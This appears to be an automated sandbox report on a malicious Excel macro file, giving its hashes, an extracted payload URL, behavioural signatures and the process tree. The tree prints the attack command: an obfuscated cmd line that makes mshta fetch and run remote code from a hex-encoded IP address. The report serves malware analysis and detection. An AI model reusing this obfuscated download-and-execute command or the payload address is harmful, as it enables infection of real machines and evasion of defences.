Analysis
-
max time kernel
143s -
max time network
146s -
platform
windows10_x64 -
resource
win10-20220223-en -
submitted
03-03-2022 17:27
Behavioral task
behavioral1
Sample
4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm
Resource
win10-20220223-en
Behavioral task
behavioral2
Sample
4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm
Resource
win10-20220223-en
General
-
Target
4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm
-
Size
49KB
-
MD5
40a87ae0ee6c9d8647c8ad1b680e0e87
-
SHA1
12e762de276e8ce77a27fc56d135833a29f161d5
-
SHA256
4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255
-
SHA512
7b16347ae4ce7b7ec7bef05b00d1ca00534720c19a29165ca92f5fb704408350ff58c2e2f8c5e7d3538c509cdff518a7cb880776cfdf5f9c61b05c646cb40dce
Malware Config
Extracted
http://185.7.214.7/fer/fe1.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1316 3496 cmd.exe 41 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 1652 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3496 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3496 EXCEL.EXE 3496 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE 3496 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3496 wrote to memory of 1316 3496 EXCEL.EXE 43 PID 3496 wrote to memory of 1316 3496 EXCEL.EXE 43 PID 1316 wrote to memory of 1652 1316 cmd.exe 45 PID 1316 wrote to memory of 1652 1316 cmd.exe 45
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe1.html3⤵
- Blocklisted process makes network request
PID:1652
-
-